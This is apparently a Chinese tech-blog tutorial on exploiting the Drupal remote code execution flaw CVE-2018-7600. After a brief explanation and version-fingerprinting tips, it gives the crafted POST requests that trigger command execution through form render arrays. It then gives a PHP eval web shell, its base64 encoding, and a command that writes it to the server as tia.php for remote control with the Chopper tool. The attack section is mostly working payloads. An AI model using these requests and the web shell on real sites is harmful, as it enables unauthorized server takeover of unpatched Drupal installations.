Drupal-CVE-2018-7600漏洞(远程代码执行)

一、漏洞原理

该漏洞产生的原因在于Drupal对表单渲染时未进行严格的安全过滤,导致攻击者可以利用该漏洞攻击Drupal系统的网站,执行恶意代码。

二、确定版本

因为在Drupal 6.x,7.x,8.x系列的版本中,均存在远程代码执行漏洞。首先需要确定drupal版本。

  • 方法一:
    通过wappalyzer插件确定识别网站所使用的drupal版本
    在这里插入图片描述

  • 方法二:
    通过 /CHANGELOG.txt/UPGRADE.txt等文件查看版本号

三、漏洞验证(drupal 7.x)

抓取数据包后需要发送两次http请求
第一次请求:
构造如下请求报文

POST /?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id HTTP/1.1
......


form_id=user_pass&_triggering_element_name=name

找到form_build_id
在这里插入图片描述
第二次请求:

将value值放入第二次请求头中

POST /?q=file/ajax/name/%23value/form-4tbd3kG9Hz9fh-lnlPDxUZxYAIfgCJRny4q0jNykqkM HTTP/1.1
......


form_build_id=form-4tbd3kG9Hz9fh-lnlPDxUZxYAIfgCJRny4q0jNykqkM

发送后看到如下,可证明漏洞存在。
在这里插入图片描述

四、漏洞利用

  • 上传poc:
    <?php @eval($_REQUEST[777]); ?>

  • 进行base64编码
    PD9waHAgQGV2YWwoJF9SRVFVRVNUWzc3N10pOyA/Pg==

  • 输出
    echo%20%22PD9waHAgQGV2YWwoJF9SRVFVRVNUWzc3N10pOyA/Pg==%22|base64%20-d|tee%20tia.php
    使用该条命令代替第一次请求的id

  • 使用菜刀可以直接进行连接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值